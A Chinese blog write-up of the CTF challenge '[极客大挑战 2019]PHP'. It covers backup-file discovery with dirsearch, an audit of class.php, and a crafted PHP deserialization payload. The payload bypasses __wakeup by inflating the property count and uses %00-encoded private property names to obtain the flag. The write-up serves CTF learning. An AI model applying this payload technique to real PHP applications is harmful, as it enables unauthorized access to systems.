[极客大挑战 2019]PHP1 writeup

  • 打开网站之后看到个小猫很可爱
  • 右键查看网页源码发现

  • 估计网站会有备份可以扫一下
  • 拿出我的神器dirsearch 调好参数开始扫
  • 果不其然有个备份文件 www.zip

  • 打开文件之后发现是网站备份

  • flag.php里面没货应该是还要从另外两个php文件入手
  • index.php里有一段代码

  • 看到了unserialize 可能考察的是反序列化知识点把
  • 再看一下class.php
    • <?php
      include 'flag.php';
      
      
      error_reporting(0);
      
      
      class Name{
          private $username = 'nonono';
          private $password = 'yesyes';
      
          public function __construct($username,$password){
              $this->username = $username;
              $this->password = $password;
          }
      
          function __wakeup(){
              $this->username = 'guest'; //要拿到flag,必须跳过wakeup函数,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。 
          }
      
          function __destruct(){
              if ($this->password != 100) {
                  echo "</br>NO!!!hacker!!!</br>";
                  echo "You name is: ";
                  echo $this->username;echo "</br>";
                  echo "You password is: ";
                  echo $this->password;echo "</br>";
                  die();
              }
              if ($this->username === 'admin') {
                  global $flag;
                  echo $flag;
              }else{
                  echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                  die();
      
                  
              }
          }
      }
      ?>

  • 代码审计后 发现只要username=admin paswword=100 就可以拿到flga了
  • 故而序列化对象,并将结果输出

  • 结果为"O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}"
  • 绕过wakeu函数需要将表示对象属性个数的值大于真实个数的属性
  • 所以修改后的结果为O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
  • 又因为当private。protected的不可见字符问题,你反序列化的时候,提交的字符串,怎么表示不可见字符呢
  • 一般可以用空格或者%00表示
  • 所以结果为O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
  • 成功ct拿到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值